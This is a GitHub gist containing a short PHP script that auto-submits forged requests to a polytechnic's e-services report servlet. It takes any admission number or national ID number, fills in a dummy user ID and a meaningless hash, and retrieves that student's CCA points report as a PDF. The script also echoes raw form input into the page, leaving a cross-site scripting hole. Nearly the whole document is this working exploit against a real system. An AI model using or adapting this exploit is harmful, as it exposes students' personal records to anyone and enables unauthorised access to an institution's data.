Skip to content

Instantly share code, notes, and snippets.

@gjj
Last active December 28, 2021 03:08
Show Gist options
  • Save gjj/2a273b70eca06b74b4e2 to your computer and use it in GitHub Desktop.
Save gjj/2a273b70eca06b74b4e2 to your computer and use it in GitHub Desktop.
<form action="" name="lolfail" method="post">
<input type="textbox" autocomplete="off" name="id" placeholder="admission number pls" />
<input type="submit" name="submit" value="go" />
</form>
<form action="" name="lolfail2" method="post">
<input type="textbox" autocomplete="off" name="nric" placeholder="nric pls" />
<input type="submit" name="submit" value="go" />
</form>
<?php
$id = $_POST['id'];
$nric = $_POST['nric'];
if( $_POST['submit'] ) {
?>
<html>
<body>
<form action="https://tp-eservices.tp.edu.sg/tpappl/eservices/servlet/com.inet.report.ReportServlet?report=/opt/WebSphere/AppServer/installedApps/eservices.ear/eservicesreg.war/cca/FinalCCAPointReport.rpt&dll=ccaifmx.dll" name="transcriptquery" method="post">
<input type=hidden name="prompt0" value="<?php if( $_POST['id'] ) echo $id; ?>">
<input type=hidden name="prompt1" value="<?php if( $_POST['nric'] ) echo $nric; ?>">
<input type=hidden name="prompt2" value="null">
<input type=hidden name="prompt3" value="null">
<input type=hidden name="init" value="pdf">
<input type="hidden" name="user_id" value="lol">
<input type="hidden" name="ds_code" value="random hash that doesnt do anything">
</form>
<script>
document.transcriptquery.submit();
</script>
</body>
</html>
<?php
}
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment